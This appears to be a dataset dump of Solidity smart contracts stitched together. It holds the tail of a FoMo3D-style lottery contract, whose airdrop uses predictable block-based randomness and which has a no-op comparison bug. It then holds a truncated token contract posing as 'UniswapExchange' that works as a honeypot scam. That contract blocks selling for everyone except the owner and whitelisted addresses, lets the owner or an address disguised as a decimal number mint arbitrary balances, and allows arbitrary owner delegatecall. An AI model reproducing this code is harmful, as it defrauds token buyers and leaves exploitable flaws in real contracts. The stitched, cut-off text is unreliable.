(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(58)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(58)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_p3d = _p3d.add(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
reward.send(_p3d);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _p3d;
_p3d = _p3d.add(_com);
uint256 _long = _eth / 100;
otherF3D_.send(_long);
uint256 _aff;
uint256 _aff2;
uint256 _affID2 = plyr_[_affID].laff;
if (_affID2 != 0 && plyr_[_affID2].name != "") {
_aff = _eth.mul(10) / 100;
_aff2 = _eth.mul(5) / 100;
plyr_[_affID2].aff = _aff2.add(plyr_[_affID2].aff);
} else {
_aff = _eth.mul(15) / 100;
}
if (_affID != _pID && plyr_[_affID].name != "") {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
reward.send(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(19)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f ||
msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f ||
msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f,
"only team just can activate"
);
require(address(otherF3D_) != address(0), "must link to other FoMo3D first");
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
function setOtherFomo(address _otherF3D)
public
{
require(
msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f ||
msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f ||
msg.sender == 0x8Ba912954aedfeAF2978a1864e486fFbE4D5940f,
"only team just can activate"
);
require(address(otherF3D_) == address(0), "silly dev, you already did that");
otherF3D_ = _otherF3D;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface otherFoMo3D {
function potSwap() external payable;
}
interface F3DexternalSettingsInterface {
function getFastGap() external returns(uint256);
function getLongGap() external returns(uint256);
function getFastExtra() external returns(uint256);
function getLongExtra() external returns(uint256);
}
interface DiviesInterface {
function deposit() external payable;
}
interface JIincForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 887 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
